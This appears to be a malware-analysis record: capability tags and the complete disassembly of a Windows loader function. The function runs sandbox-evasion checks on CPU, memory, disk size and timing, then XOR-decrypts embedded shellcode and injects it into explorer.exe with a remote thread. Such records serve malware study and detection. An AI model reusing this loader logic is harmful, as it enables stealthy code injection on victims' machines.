Function at 0x14000159a
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x3c0
lea rbp, [rsp + 0x80]
call fcn.140001a80
movabs rax, 0x6a72796d74647773
movabs rdx, 0x686c656f79626377
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rdx
movabs rax, 0x776b74697a686a78
movabs rdx, 0x7171767163796861
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rdx
mov byte [rbp + 0x2f0], 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x2c0]
mov dword [rbp + 0x338], eax
mov eax, dword [rbp + 0x338]
mov edx, eax
lea rax, str.Processors:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x338], 1
ja 0x14000164a
call fcn.1400014bc
mov eax, 0
jmp 0x1400019c1
mov dword [rbp + 0x260], 0x40
lea rax, [rbp + 0x260]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x268]
shr rax, 0x14
mov dword [rbp + 0x334], eax
mov eax, dword [rbp + 0x334]
mov edx, eax
lea rax, str.Memory:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x334], 0x7ff
ja 0x1400016aa
call fcn.1400014bc
mov eax, 0
jmp 0x1400019c1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x23c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x240]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x240]
mov edx, dword [rbp + 0x24c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x250]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x254]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x324], eax
mov eax, dword [rbp + 0x324]
mov edx, eax
lea rax, str.Disk_space:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x324], 0x45
ja 0x1400017ad
call fcn.1400014bc
mov eax, 0
jmp 0x1400019c1
call fcn.1400014a4
mov dword [rbp + 0x320], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.1400014a4
mov dword [rbp + 0x31c], eax
mov eax, dword [rbp + 0x31c]
sub eax, dword [rbp + 0x320]
mov edx, eax
lea rax, str.Diff:__d_n
mov rcx, rax
call fcn.140001450
mov eax, dword [rbp + 0x31c]
sub eax, dword [rbp + 0x320]
cmp eax, 2
je 0x14000180e
call fcn.1400014bc
mov eax, 0
jmp 0x1400019c1
mov eax, dword [rbp + 0x31c]
sub eax, dword [rbp + 0x320]
cmp eax, 2
jne 0x1400019bc
lea rax, [rbp - 0x40]
lea rdx, [0x14000a070]
mov ecx, 0x49
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x6c706c7979676772
movabs rdx, 0x6d72687470626775
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rdx
mov byte [rbp + 0x230], 0
mov dword [rbp + 0x33c], 0
jmp 0x1400018b1
mov eax, dword [rbp + 0x33c]
cdqe
movzx edx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x33c]
cdqe
and eax, 0xf
movzx eax, byte [rbp + rax + 0x220]
xor edx, eax
mov eax, dword [rbp + 0x33c]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x33c], 1
mov eax, dword [rbp + 0x33c]
cmp eax, 0x248
jbe 0x14000187c
lea rax, str.explorer.exe
mov rcx, rax
call fcn.1400014c3
mov dword [rbp + 0x318], eax
mov eax, dword [rbp + 0x318]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x21c], 0
lea rdx, [rbp + 0x21c]
mov rax, qword [rbp + 0x310]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x300], 0
lea r8, [rbp - 0x40]
mov rdx, qword [rbp + 0x308]
mov rax, qword [rbp + 0x310]
lea rcx, [rbp + 0x210]
mov qword [rsp + 0x20], rcx
mov r9d, 0x249
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rcx, qword [rbp + 0x308]
mov rax, qword [rbp + 0x310]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rdx, [rbp + 0x21c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x2f8], rax
mov eax, 0
add rsp, 0x3c0
pop rsi
pop rdi
pop rbp
ret